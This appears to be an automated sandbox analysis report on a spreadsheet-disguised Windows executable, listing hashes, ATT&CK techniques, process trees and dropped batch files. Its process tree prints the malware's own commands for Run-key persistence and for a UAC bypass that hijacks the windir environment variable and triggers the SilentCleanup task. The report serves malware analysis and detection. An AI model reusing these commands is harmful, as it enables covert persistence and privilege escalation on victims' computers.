9d71b356bc7e51729a4726433111be12297dd9403a82cff2e20902944c0af748

General

Target

List of new Duty Rates with list of Affected Products.xls.exe
Size

700KB
MD5

113fa30db915f15d04bef29a5bf2b366
SHA1

5a8f50b7679e947f44db2943307f947e7e26da8c
SHA256

9d71b356bc7e51729a4726433111be12297dd9403a82cff2e20902944c0af748
SHA512

f11696886fe9ec38f6615d015ac39c3069bf667bc53155cea789ae7c89b9dd45bbfc55741910655273f10b5991c3964926cc9ebe823751de785ca1bd1697708d

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

List of new Duty Rates with list of Affected Products.xls.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\Owwglnw = "C:\\Users\\Public\\Libraries\\wnlgwwO.url"	List of new Duty Rates with list of Affected Products.xls.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

420 772 WerFault.exe secinit.exe
Modifies registry key 1 TTPs 3 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exe

pid process

1352 reg.exe
996 reg.exe
1176 reg.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

WerFault.exe

pid process

420 WerFault.exe
420 WerFault.exe
420 WerFault.exe
420 WerFault.exe
420 WerFault.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WerFault.exe

pid process

420 WerFault.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

WerFault.exe

description pid process

Token: SeDebugPrivilege 420 WerFault.exe

pid	pid_target	process	target process
420	772	WerFault.exe	secinit.exe

pid	process
1352	reg.exe
996	reg.exe
1176	reg.exe

pid	process
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe

pid	process
420	WerFault.exe

description	pid	process
Token: SeDebugPrivilege	420	WerFault.exe

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

List of new Duty Rates with list of Affected Products.xls.exesecinit.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 772	1716	List of new Duty Rates with list of Affected Products.xls.exe	secinit.exe
PID 1716 wrote to memory of 1644	1716	List of new Duty Rates with list of Affected Products.xls.exe	cmd.exe
PID 1716 wrote to memory of 1644	1716	List of new Duty Rates with list of Affected Products.xls.exe	cmd.exe
PID 1716 wrote to memory of 1644	1716	List of new Duty Rates with list of Affected Products.xls.exe	cmd.exe
PID 1716 wrote to memory of 1644	1716	List of new Duty Rates with list of Affected Products.xls.exe	cmd.exe
PID 772 wrote to memory of 420	772	secinit.exe	WerFault.exe
PID 772 wrote to memory of 420	772	secinit.exe	WerFault.exe
PID 772 wrote to memory of 420	772	secinit.exe	WerFault.exe
PID 772 wrote to memory of 420	772	secinit.exe	WerFault.exe
PID 1644 wrote to memory of 328	1644	cmd.exe	cmd.exe
PID 1644 wrote to memory of 328	1644	cmd.exe	cmd.exe
PID 1644 wrote to memory of 328	1644	cmd.exe	cmd.exe
PID 1644 wrote to memory of 328	1644	cmd.exe	cmd.exe
PID 328 wrote to memory of 1352	328	cmd.exe	reg.exe
PID 328 wrote to memory of 1352	328	cmd.exe	reg.exe
PID 328 wrote to memory of 1352	328	cmd.exe	reg.exe
PID 328 wrote to memory of 1352	328	cmd.exe	reg.exe
PID 328 wrote to memory of 996	328	cmd.exe	reg.exe
PID 328 wrote to memory of 996	328	cmd.exe	reg.exe
PID 328 wrote to memory of 996	328	cmd.exe	reg.exe
PID 328 wrote to memory of 996	328	cmd.exe	reg.exe
PID 328 wrote to memory of 1664	328	cmd.exe	schtasks.exe
PID 328 wrote to memory of 1664	328	cmd.exe	schtasks.exe
PID 328 wrote to memory of 1664	328	cmd.exe	schtasks.exe
PID 328 wrote to memory of 1664	328	cmd.exe	schtasks.exe
PID 1716 wrote to memory of 1556	1716	List of new Duty Rates with list of Affected Products.xls.exe	cmd.exe
PID 1716 wrote to memory of 1556	1716	List of new Duty Rates with list of Affected Products.xls.exe	cmd.exe
PID 1716 wrote to memory of 1556	1716	List of new Duty Rates with list of Affected Products.xls.exe	cmd.exe
PID 1716 wrote to memory of 1556	1716	List of new Duty Rates with list of Affected Products.xls.exe	cmd.exe
PID 1556 wrote to memory of 1176	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 1176	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 1176	1556	cmd.exe	reg.exe
PID 1556 wrote to memory of 1176	1556	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\List of new Duty Rates with list of Affected Products.xls.exe
"C:\Users\Admin\AppData\Local\Temp\List of new Duty Rates with list of Affected Products.xls.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\SysWOW64\secinit.exe
  C:\Windows\System32\secinit.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:772
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 772 -s 180
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Public\Trast.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:328
  - - C:\Windows\SysWOW64\reg.exe
      reg delete hkcu\Environment /v windir /f
      4⤵
      Modifies registry key
      PID:1352
  - - C:\Windows\SysWOW64\reg.exe
      reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      4⤵
      Modifies registry key
      PID:996
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      4⤵
      PID:1664
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Public\nest.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\SysWOW64\reg.exe
    reg delete hkcu\Environment /v windir /f
    3⤵
    - Modifies registry key
    PID:1176

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Trast.bat

MD5
4068c9f69fcd8a171c67f81d4a952a54

SHA1
4d2536a8c28cdcc17465e20d6693fb9e8e713b36

SHA256
24222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810

SHA512
a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d

Download Submit
C:\Users\Public\UKO.bat

MD5
eaf8d967454c3bbddbf2e05a421411f8

SHA1
6170880409b24de75c2dc3d56a506fbff7f6622c

SHA256
f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56

SHA512
fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9

Download Submit
C:\Users\Public\nest.bat

MD5
8ada51400b7915de2124baaf75e3414c

SHA1
1a7b9db12184ab7fd7fce1c383f9670a00adb081

SHA256
45aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7

SHA512
9afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68

Download Submit
memory/328-74-0x0000000000000000-mapping.dmp

Download
memory/420-72-0x0000000000000000-mapping.dmp

Download
memory/420-84-0x00000000003A0000-0x00000000003A1000-memory.dmp

Filesize
4KB

Download
memory/772-83-0x0000000010670000-0x00000000107C6000-memory.dmp

Filesize
1.3MB

Download
memory/772-81-0x00000000000C0000-0x00000000000C1000-memory.dmp

Filesize
4KB

Download
memory/772-69-0x0000000000000000-mapping.dmp

Download
memory/772-82-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/772-80-0x0000000000080000-0x0000000000081000-memory.dmp

Filesize
4KB

Download
memory/996-77-0x0000000000000000-mapping.dmp

Download
memory/1176-87-0x0000000000000000-mapping.dmp

Download
memory/1352-76-0x0000000000000000-mapping.dmp

Download
memory/1556-85-0x0000000000000000-mapping.dmp

Download
memory/1644-70-0x0000000000000000-mapping.dmp

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memory/1664-78-0x0000000000000000-mapping.dmp

Download
memory/1716-59-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/1716-66-0x00000000042F0000-0x000000000432A000-memory.dmp

Filesize
232KB

Download
memory/1716-64-0x0000000075161000-0x0000000075163000-memory.dmp

Filesize
8KB

Download
memory/1716-61-0x0000000000330000-0x000000000034B000-memory.dmp

Filesize
108KB

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Analysis

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